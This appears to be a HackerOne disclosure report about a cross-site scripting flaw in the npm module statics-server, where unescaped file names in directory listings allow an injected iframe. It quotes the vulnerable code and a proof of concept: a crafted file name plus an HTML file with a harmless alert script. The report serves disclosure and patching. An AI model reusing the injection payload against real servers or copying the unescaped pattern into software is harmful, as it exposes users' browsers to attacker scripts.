Lucene search

Bl4deH1:355458

HistoryMay 21, 2018 - 8:52 a.m.

Node.js third-party modules: [statics-server] XSS via injected iframe in file name when statics-server displays directory index in the browser

2018-05-2108:52:25

bl4de

hackerone.com

0.001 Low

EPSS

Percentile

38.0%

JSON

Hi Team,

I would like to report HTML Injection in statics-server module.
It is possible to inject malicious iframe tag via filename and execute arbitray JavaScript code.

Module

module name: statics-serverversion:0.0.9npm page: https://www.npmjs.com/package/statics-server

Module Description

npm install statics-server -g

Go to the folder you want to statics-server

Run the server statics-server

Module Stats

~80-100 downloads/month

Vulnerability

Vulnerability Description

statics-server does not implement any HTML escaping when displays directory index in the browser. Variable v is used in <a href> element without escaping, which allows to embed HTML <iframe> tag with src attribute points to another HTML file in the directory. This file can contain malicious JavaScript code, which will be executed:

// ./node_modules/statics-server/index.js, line 18:

    if(fs.lstatSync(staticPath).isDirectory()){
        var files=fs.readdirSync(staticPath);
        var lis='';
        files.forEach((v,i)=&gt;{
            if(fs.lstatSync(path.resolve(staticPath,v)).isDirectory()){
                lis+=`<li><a href>${v}/</a></li>`;
            }else {
                lis+=`<li><a href>${v}</a></li>`
            }
        });

        (...)

Steps To Reproduce:

Install statics-server module:

$ npm install statics-server

create file with the following filename:

"&gt;&lt;iframe src="malware_frame.html"&gt;

create malware_frame.html file with following content:

&lt;html&gt;

&lt;head&gt;
    &lt;meta charset="utf8" /&gt;
    &lt;title&gt;Frame embeded with malware :P&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
    <p>iframe element with malicious code</p>
    &lt;script&gt;
        alert('Uh oh, I am bad, bad malware!!!')
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;

Run statics-server:

$ ./node_modules/statics-server/index.js 
服务器已经启动
访问localhost:8080

in browser, open the following url:

http://localhost:8080

You see JavaScript from malware_frame.html executed immediately:

{F299923}

Patch

v variable in provided code fragment should be escaped before is send back to the browser.

Supporting Material/References:

Operating system: Ubuntu 16.04
Node.js 8.11.1
npm v. 6.0.1
Chromium 67.0.3388.0 (Developer Build) (64-bit)

Wrap up

I contacted the maintainer to let him know: [N]
I opened an issue in the related repository: [N]

Regards,

Rafal ‘bl4de’ Janicki

Impact

An attacker is able to execute malicious JavaScript in context of other user’s browser.

0.001 Low

EPSS

Percentile

38.0%

JSON

Related for H1:355458